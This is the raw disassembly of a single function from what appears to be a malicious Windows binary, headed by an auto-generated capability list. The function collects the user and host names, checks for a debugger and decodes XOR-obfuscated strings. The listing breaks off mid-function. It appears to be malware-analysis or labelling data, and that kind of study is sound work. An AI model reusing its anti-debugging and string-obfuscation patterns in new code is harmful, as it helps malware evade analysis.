Function at 0x40d200
Capabilities:
Check for debugger via api
Contain obfuscated stackstrings
Encode data using xor
Get hostname
Get session user name

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x434bda
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x540
mov eax, dword [0x445050]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x1d4]
call fcn.0040bb40
lea eax, [ebp - 0xd4]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x88]
mov dword [ebp - 0xd4], 0x41
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0xf
mov byte [ebp - 0x15c], 0
test eax, eax
je 0x40d2ba
lea ecx, [ebp - 0x88]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d2a7
sub ecx, edx
lea eax, [ebp - 0x88]
push ecx
push eax
jmp 0x40d2c1
push 3
push 0x440bd4
lea ecx, [ebp - 0x15c]
call fcn.00402660
lea eax, [ebp - 0xdc]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0xdc], 0x10
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
test eax, eax
je 0x40d330
lea ecx, [ebp - 0x34]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d320
sub ecx, edx
lea eax, [ebp - 0x34]
push ecx
push eax
jmp 0x40d337
push 3
push 0x440bd4
lea ecx, [ebp - 0x144]
call fcn.00402660
mov byte [ebp - 4], 2
mov esi, 1
cmp byte [0x440bbf], 0
movq xmm0, qword [0x440bb4]
mov eax, dword [0x440bbc]
mov edi, dword [0x446704]
mov dword [ebp - 0xd4], reloc.OLEAUT32.dll_SysReAllocString
movq qword [ebp - 0x2c4], xmm0
mov dword [ebp - 0x2bc], eax
je 0x40d4d6
xor edx, edx
mov dword [ebp - 0x25c], edx
cmp edi, 2
jl 0x40d4a0
movaps xmm2, xmmword [0x440c20]
mov eax, 0x1f
movaps xmm5, xmmword [0x440ca0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
movd xmm4, esi
psrad xmm1, xmm4
movd xmm3, eax
movaps xmm0, xmm1
mov dword [ebp - 0x25c], edx
psrld xmm0, xmm3
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440c50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x440c30]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
movd xmm0, dword [0x440bb4]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x440cc0]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2c4], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm3
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440c50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
movd xmm0, dword [ebp - 0x2c0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x440cc0]
pxor xmm1, xmm0
movd dword [ebp - 0x2c0], xmm1
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x2c4], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0xc
jl 0x40d4a0
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x1dc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1d8], 0xf
mov byte [ebp - 0x1ec], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d504
sub ecx, edx
lea eax, [ebp - 0x2c4]
push ecx
push eax
lea ecx, [ebp - 0x1ec]
call fcn.00402660
mov byte [ebp - 4], 3
xor edx, edx
mov eax, dword [0x440860]
mov dword [ebp - 0x4c], eax
mov al, byte [0x440864]
mov byte [ebp - 0x48], al
mov dword [ebp - 0x25c], edx
movups xmm0, xmmword [str.kvoklz]
movups xmmword [ebp - 0x74], xmm0
movups xmm0, xmmword [0x440848]
movups xmmword [ebp - 0x64], xmm0
movq xmm0, qword [0x440858]
movq qword [ebp - 0x54], xmm0
cmp edi, 2
jl 0x40d6a2
movaps xmm0, xmmword [0x440cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x74]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x74], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x70]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x70], xmm1
add edx, 8
cmp edx, 0x28
jl 0x40d5a0
mov dword [ebp - 0x25c], edx
cmp edx, 0x2d
jge 0x40d6d5
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x74], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x2d
jl 0x40d6a2
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x194], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x190], 0xf
mov byte [ebp - 0x1a4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d700
sub ecx, edx
lea eax, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x1a4]
call fcn.00402660
lea eax, [ebp - 0x1ec]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x1a4]
push eax
lea edx, [ebp - 0xd4]
lea ecx, [ebp - 0x1bc]
call fcn.0040ae50
add esp, 8
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x190]
cmp edx, 0x10
jb 0x40d77d
mov ecx, dword [ebp - 0x1a4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d773
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414423
push edx
push ecx
call fcn.00416502
add esp, 8
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x190], 0xf
mov byte [ebp - 0x1a4], 0
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x1d8]
cmp edx, 0x10
jb 0x40d7d6
mov ecx, dword [ebp - 0x1ec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40d7cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414423
push edx
push ecx
call fcn.00416502
add esp, 8
push 0
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1d8], 0xf
mov byte [ebp - 0x1ec], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
movups xmm0, xmmword [0x440a88]
mov al, byte [0x440ac0]
xor edx, edx
mov byte [ebp - 0x48], al
mov dword [ebp - 0x25c], edx
movups xmmword [ebp - 0x80], xmm0
movups xmm0, xmmword [str.__:__f]
movups xmmword [ebp - 0x70], xmm0
movups xmm0, xmmword [0x440aa8]
movups xmmword [ebp - 0x60], xmm0
movq xmm0, qword [0x440ab8]
movq qword [ebp - 0x50], xmm0
cmp edi, 2
jl 0x40d982
movaps xmm0, xmmword [0x440cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x80]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x80], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x7c]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x7c], xmm1
add edx, 8
cmp edx, 0x38
jl 0x40d880
mov dword [ebp - 0x25c], edx
cmp edx, 0x39
jge 0x40d9b5
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x80], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x39
jl 0x40d982
lea ecx, [ebp - 0x80]
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d9e0
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402660
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 8
call fcn.0040cf60
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0xe0]
mov byte [ebp - 0x2a1], al
cmp edx, 0x10
jb 0x40da52
mov ecx, dword [ebp - 0xf4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40da42
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414428
push edx
push ecx
call fcn.00416502
mov al, byte [ebp - 0x2a1]
add esp, 8
test al, al
je 0x40db4b
mov edx, dword [ebp - 0x1a8]
cmp edx, 0x10
jb 0x40da94
mov ecx, dword [ebp - 0x1bc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40da8a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414450
push edx
push ecx
call fcn.00416502
add esp, 8
mov edx, dword [ebp - 0x130]
cmp edx, 0x10
jb 0x40dace
mov ecx, dword [ebp - 0x144]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dac4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414450
push edx
push ecx
call fcn.00416502
add esp, 8
mov edx, dword [ebp - 0x148]
cmp edx, 0x10
jb 0x40db08
mov ecx, dword [ebp - 0x15c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40dafe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414450
push edx
push ecx
call fcn.00416502
add esp, 8
mov edx, dword [ebp - 0x1c0]
cmp edx, 0x10
jb 0x414403
mov ecx, dword [ebp - 0x1d4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40db3c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414450
push edx
push ecx
call fcn.00416502
add esp, 8
jmp 0x414403
mov eax, dword [str.mto_r]
mov dword [ebp - 0x27c], eax
mov ax, word [0x44086c]
mov dword [ebp - 0xdc], reloc.OLEAUT32.dll_SysReAllocString
mov word [ebp - 0x278], ax
test ah, ah
je 0x40dbbc
xor edx, edx
mov dword [ebp - 0x25c], edx
nop dword [eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x25c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x25c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x27c], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 6
jl 0x40db80
lea ecx, [ebp - 0x27c]
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2c0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2bc], 0xf
mov byte [ebp - 0x2d0], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dbf0
sub ecx, edx
lea eax, [ebp - 0x27c]
push ecx
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00402660
mov byte [ebp - 4], 9
movups xmm0, xmmword [str.k_IOYPV_2]
mov ax, word [0x4407f8]
mov word [ebp - 0x264], ax
movups xmmword [ebp - 0x274], xmm0
test ah, ah
je 0x40ddc6
xor edx, edx
mov dword [ebp - 0x25c], edx
cmp edi, 2
jl 0x40dd90
movaps xmm0, xmmword [0x440cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40dc80
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jge 0x40ddc6
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x12
jl 0x40dd90
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0xfc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ddf4
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.00402660
mov byte [ebp - 4], 0xa
xor edx, edx
mov eax, dword [0x4408f0]
mov dword [ebp - 0x264], eax
mov al, byte [0x4408f4]
mov byte [ebp - 0x260], al
mov dword [ebp - 0x25c], edx
movups xmm0, xmmword [0x4408e0]
movups xmmword [ebp - 0x274], xmm0
cmp edi, 2
jl 0x40df90
movaps xmm0, xmmword [0x440cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x270]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x270], xmm1
add edx, 8
cmp edx, 0x10
jl 0x40de80
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jge 0x40dfc6
nop
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x274], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0x15
jl 0x40df90
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dfe8
sub ecx, edx
lea eax, [ebp - 0x274]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402660
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 0xb
push eax
lea eax, [ebp - 0x3c]
push eax
lea edx, [ebp - 0xdc]
lea ecx, [ebp - 0x12c]
call fcn.0040ae50
mov esi, dword [ebp - 0x2d0]
lea edx, [ebp - 0x2d0]
add esp, 8
mov ecx, eax
cmp dword [ebp - 0x2bc], 0x10
cmovae edx, esi
cmp dword [eax + 0x14], 0x10
jb 0x40e044
mov ecx, dword [eax]
push dword [ebp - 0x2c0]
push edx
mov edx, dword [eax + 0x10]
push ecx
call fcn.004027a0
mov edx, dword [ebp - 0x118]
add esp, 0xc
mov dword [ebp - 0xdc], eax
cmp edx, 0x10
jb 0x40e097
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e08d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41442d
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x40e0ea
mov ecx, dword [ebp - 0x3c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e0e0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41442d
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0xf8]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp edx, 0x10
jb 0x40e13a
mov ecx, dword [ebp - 0x10c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e130
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41442d
push edx
push ecx
call fcn.00416502
add esp, 8
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
cmp eax, 0x10
jb 0x40e18f
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x40e185
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41442d
push ecx
push esi
call fcn.00416502
add esp, 8
cmp dword [ebp - 0xdc], 0xffffffff
jne 0x40da5a
mov eax, dword [str.tqrsD]
xor edx, edx
movq xmm0, qword [str.qwnp]
mov dword [ebp - 0xfc], eax
mov al, byte [0x4407e4]
mov dword [ebp - 0xdc], reloc.OLEAUT32.dll_SysReAllocString
lea esi, [edx + 1]
movq qword [ebp - 0x104], xmm0
mov byte [ebp - 0xf8], al
mov dword [ebp - 0x25c], edx
cmp edi, 2
jl 0x40e2f0
movaps xmm2, xmmword [0x440c20]
mov eax, 0x1f
movaps xmm4, xmmword [0x440ca0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, esi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [0x440cc0]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 0x25c], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440c50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x440c30]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.qwnp]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x104], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x440c50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x100]
pxor xmm1, xmm0
movd dword [ebp - 0x100], xmm1
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x25c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x104], cl
inc edx
mov dword [ebp - 0x25c], edx
cmp edx, 0xd
jl 0x40e2f0
lea ecx, [ebp - 0x104]
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e354
sub ecx, edx
lea eax, [ebp - 0x104]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00402660
mov byte [ebp - 4], 0xc
movups xmm0, xmmword [str.k_IOYPV_2]
mov ax, word [0x4407f8]
mov word [ebp - 0x264], ax
movups xmmword [ebp - 0x274], xmm0
test ah, ah
je 0x40e526
xor edx, edx
mov dword [ebp - 0x25c], edx
cmp edi, 2
jl 0x40e4f0
movaps xmm0, xmmword [0x440cc0]
mov eax, 0x1f
movaps xmm4, xmmword [0x440c20]
movaps xmm3, xmmword [0x440ca0]
movaps xmm6, xmmword [0x440c50]
movaps xmmword [ebp - 0x2a0], xmm0
mov ecx, dword [ebp - 0x2a0]
movd xmm5, esi
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x440c90]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
